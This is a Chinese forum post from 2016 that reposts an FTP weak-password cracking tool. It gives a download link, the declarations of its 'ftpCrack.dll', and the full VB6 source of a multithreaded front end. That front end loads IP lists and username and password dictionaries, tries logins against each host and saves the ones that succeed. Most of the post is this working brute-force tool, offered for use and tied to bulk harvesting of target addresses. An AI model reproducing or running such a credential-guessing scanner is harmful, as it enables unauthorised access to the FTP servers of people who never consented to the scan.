w32q3w9951 发表于 2016-6-10 10:18:22

ftp弱口令扫描工具及源代码

  //鄙视一下CSDN,不带源码的资源被删掉了//实际上对于指向试用的人,不要积分的资源更合适char *lpDownLoad = "http://download.csdn.net/source/2942279";
  
  下载地址:http://download.csdn.net/source/2942279
  
  结合上一篇文章(关于从搜索引擎批量获取域名转成IP),这次应该说更牛B:对ftp弱口令进行扫描
  
  为了不至于成为泛滥的诱因,部分组件将在2011年新年到来之际失效,希望学习的抓紧时间啦!!!
  
  采用多线程技术进行扫描,极大提高了扫描效率,下面是DLL的VB声明:
  
  'long InitModule(long lpAccess)Private Declare Function InitModule Lib "ftpCrack.dll" (ByVal lpAccess As Long) As Long'long AccessModule(HWND hWnd, long MaxThread, long lTimeOut, long lUsePort = 21)Private Declare Function AccessModule Lib "ftpCrack.dll" (ByVal hWnd As Long, ByVal MaxThread As Long, ByVal lTimeOut As Long, Optional ByVal lUsePort As Long = 21) As Long'long ftpCrackThread(char *lpAddr, char *lpUser, char *lpPass)Private Declare Function ftpCrackThread Lib "ftpCrack.dll" (ByVal lpAddr As String, ByVal lpUser As String, ByVal lpPass As String) As Long'void ShowRecords()Private Declare Sub ShowRecords Lib "ftpCrack.dll" ()'long ExitModule(long lForever)Private Declare Function ExitModule Lib "ftpCrack.dll" (ByVal lForever As Long) As Long'long WaitForMultipleThread(HWND hWnd)Private Declare Function WaitForMultipleThread Lib "ftpCrack.dll" (ByVal hWnd As Long) As Long'long WaitForSingleThread(HWND hWnd)Private Declare Function WaitForSingleThread Lib "ftpCrack.dll" (ByVal hWnd As Long) As Long
  
  注释部分是函数原型,对于C/C++程序员,只要把ftpCrack.lib附加到工程,或者#pragma comment(lib,"ftpCrack.lib")即可
  
  以VB为例,新建一个工程,粘贴下面的代码到窗体代码中编译即可(建议设置好窗体的相关属性)
  
  Icon = 您的图标;
  BorderStyle = 1;
  MinButton = True;
  
  以及工程的相关设置:版本啊什么的,然后代码是:
  
  Option Explicit'long InitModule(long lpAccess)Private Declare Function InitModule Lib "ftpCrack.dll" (ByVal lpAccess As Long) As Long'long AccessModule(HWND hWnd, long MaxThread, long lTimeOut, long lUsePort = 21)Private Declare Function AccessModule Lib "ftpCrack.dll" (ByVal hWnd As Long, ByVal MaxThread As Long, ByVal lTimeOut As Long, Optional ByVal lUsePort As Long = 21) As Long'long ftpCrackThread(char *lpAddr, char *lpUser, char *lpPass)Private Declare Function ftpCrackThread Lib "ftpCrack.dll" (ByVal lpAddr As String, ByVal lpUser As String, ByVal lpPass As String) As Long'void ShowRecords()Private Declare Sub ShowRecords Lib "ftpCrack.dll" ()'long ExitModule(long lForever)Private Declare Function ExitModule Lib "ftpCrack.dll" (ByVal lForever As Long) As Long'long WaitForMultipleThread(HWND hWnd)Private Declare Function WaitForMultipleThread Lib "ftpCrack.dll" (ByVal hWnd As Long) As Long'long WaitForSingleThread(HWND hWnd)Private Declare Function WaitForSingleThread Lib "ftpCrack.dll" (ByVal hWnd As Long) As LongPrivate WithEvents tmrPrint As TimerPrivate WithEvents lblState As LabelPrivate WithEvents lstResult As ListBoxPrivate WithEvents cmdSave As CommandButtonPrivate WithEvents cmdStart As CommandButtonPrivate WithEvents txtPort As TextBoxPrivate WithEvents txtThread As TextBoxPrivate WithEvents txtTimeOut As TextBoxPrivate lblPort As LabelPrivate lblThread As LabelPrivate lblTimeOut As LabelPrivate Const FTP_USER_FILE = "ftp_user.dic"    'user dictionary filePrivate Const FTP_PASS_FILE = "ftp_pass.dic"    'pass dictionary filePrivate Const FTP_ADDR_FILE = "ftp_addr.txt"    'IP address list filePrivate lpUserName() As String, nUser As LongPrivate lpPassName() As String, nPass As LongPrivate lpAddrName() As String, nAddr As LongPublic bBreak As BooleanPrivate Sub cmdSave_Click()Dim i As IntegerIf lstResult.ListCount = 0 Then Exit SubOpen App.Path & "/Result.txt" For Output As #1For i = 0 To lstResult.ListCount - 1Print #1, lstResult.List(i)Next iClose #1MsgBox "Save OK!", vbInformationEnd SubPrivate Sub cmdStart_Click()Dim lNumThread As Long, lTimeOut As Long, lSocketPort As LongDim i As Long, j As Long, k As Long, s As StringStatic bRun As BooleanDim ret As LongIf bRun = False Then'"iplist.txt", "ftp_user.dic", "ftp_pass.dic"lNumThread = CLng(txtThread.Text)lTimeOut = CLng(txtTimeOut.Text)lSocketPort = CLng(txtPort.Text)tmrPrint.Enabled = TruecmdStart.Caption = "停止(&S)"'lstResult.ClearMe.MousePointer = 11ret = AccessModule(lstResult.hWnd, lNumThread, lTimeOut, lSocketPort)'ret的值: -32 --无效ListBox窗口句柄; -31 --无效端口号; -30 --超时时间应在;'         -29 --不能加载Winsock; -28 --最大线程数错误 ->>会清除hWnd指向的ListBox的所有项目If ret <= 0 ThenMsgBox "Access Denied!", vbExclamation, "Caution"GoTo FinishedEnd IfnUser = 0Open App.Path & "/" & FTP_USER_FILE For Input As #1Do While Not EOF(1)Line Input #1, ss = Trim(s)If s <> "" ThenReDim Preserve lpUserName(nUser)lpUserName(nUser) = snUser = nUser + 1End IfLoopClose #1nPass = 0Open App.Path & "/" & FTP_PASS_FILE For Input As #1Do While Not EOF(1)Line Input #1, ss = Trim(s)If s <> "" ThenReDim Preserve lpPassName(nPass)lpPassName(nPass) = snPass = nPass + 1End IfLoopClose #1nAddr = 0Open App.Path & "/" & FTP_ADDR_FILE For Input As #1Do While Not EOF(1)Line Input #1, ss = Trim(s)If s <> "" ThenReDim Preserve lpAddrName(nAddr)lpAddrName(nAddr) = snAddr = nAddr + 1End IfLoopClose #1lblState.Caption = CStr(nUser) & " user names, " & CStr(nPass) & " passwords, " & CStr(nAddr) & " ftp address."'bBreak = FalseFor i = 0 To nAddr - 1For j = 0 To nUser - 1For k = 0 To nPass - 1WaitForMultipleThread Me.hWndret = ftpCrackThread(lpAddrName(i), lpUserName(j), lpPassName(k))lblState.Caption = "线程:" & CStr(ret) & " 正在扫描..." & lpAddrName(i) & "->>" & lpUserName(j) & "->" & lpPassName(k)Call ShowRecordsIf bBreak = True Then GoTo BreakOutNext klblState.Refresh    '每个用户重画一次状态Next jlstResult.Refresh   '最多每个IP重画一次Me.RefreshNext iBreakOut:lblState.Caption = "正在等待所有线程终止..."'lstResult.RefreshlblState.RefreshMe.RefreshWaitForSingleThread Me.hWndExitModule 0Finished:bBreak = TrueMe.MousePointer = 0tmrPrint.Enabled = FalselblState.Caption = ">>游侠技术 http://blog.csdn.net/prsniper"cmdStart.Caption = "开始(&S)"bRun = TrueElsetmrPrint.Enabled = FalselblState.Caption = ">>游侠技术 http://blog.csdn.net/prsniper"cmdStart.Caption = "开始(&S)"bRun = FalseEnd IfEnd SubPrivate Sub Form_Load()Dim ret As LongMe.Width = 6765Me.Height = 5355'Me.BorderStyle = 1'Me.MinButton = TrueMe.Font.Name = "宋体"Me.Font.Size = 10Me.ScaleMode = 3Me.Caption = "ftpCracker" ' - http://blog.csdn.net/prsniper"Set tmrPrint = Controls.Add("VB.Timer", "tmrPrint")Set lblState = Controls.Add("VB.Label", "lblState")Set lstResult = Controls.Add("VB.ListBox", "ListBox")Set cmdStart = Controls.Add("VB.CommandButton", "cmdStart")Set cmdSave = Controls.Add("VB.CommandButton", "cmdSave")Set lblPort = Controls.Add("VB.Label", "lblPort")Set lblThread = Controls.Add("VB.Label", "lblThread")Set lblTimeOut = Controls.Add("VB.Label", "lblTimeOut")Set txtPort = Controls.Add("VB.TextBox", "txtPort")Set txtThread = Controls.Add("VB.TextBox", "txtThread")Set txtTimeOut = Controls.Add("VB.TextBox", "txtTimeOut")With tmrPrint.Interval = 200.Enabled = FalseEnd WithWith lblState.Left = 8.Top = 300.Height = 17.Width = 429.Visible = True.Caption = ">>游侠技术 http://blog.csdn.net/prsniper"End WithWith lstResult.Left = 8.Top = 8.Width = 333.Height = 290.Visible = True.AddItem "http://blog.csdn.net/prsniper"End WithWith cmdStart.Left = 344.Top = 8.Height = 25.Width = 93.Caption = "开始(&S)".Visible = TrueEnd WithWith cmdSave.Left = 344.Top = 36.Height = 25.Width = 93.Caption = "保存(&R)".Visible = TrueEnd WithWith lblPort.Left = 344.Top = 64.Width = 93.Height = 17.Caption = "Port:".Visible = TrueEnd WithWith lblThread.Left = 344.Top = 104.Width = 93.Height = 17.Caption = "Thread:".Visible = TrueEnd WithWith lblTimeOut.Left = 344.Top = 144.Width = 93.Height = 17.Caption = "InterVal:".Visible = TrueEnd WithWith txtPort.Left = 344.Top = 80.Width = 93.Height = 19.Text = "21".MaxLength = 5.Visible = TrueEnd WithWith txtThread.Left = 344.Top = 120.Width = 93.Height = 19.Text = "100".MaxLength = 5.Visible = TrueEnd WithWith txtTimeOut.Left = 344.Top = 160.Width = 93.Height = 19.Text = "3000".MaxLength = 5.Visible = TrueEnd Withret = InitModule(&H68647978)    '虎胆游侠(hdyx=0x68,0x64,0x79,0x78)If ret <= 0 ThenMsgBox "ftpCrack.DLL - Initialize Error!", vbCritical, "Error"EndEnd IfEnd SubPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)If MsgBox("确定退出吗?", vbQuestion + vbYesNo, "Query") = vbNo ThenCancel = 1Exit SubEnd IflblState.Caption = "正在等待所有线程终止..."WaitForSingleThread Me.hWndExitModule 1EndEnd Sub
  
  希望各位能为网络的发展做出更大贡献,大侠声明:欢迎对本程序进行破解,同时知会一下本人.
  
  谢谢!
  

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
页: [1]
查看完整版本: ftp弱口令扫描工具及源代码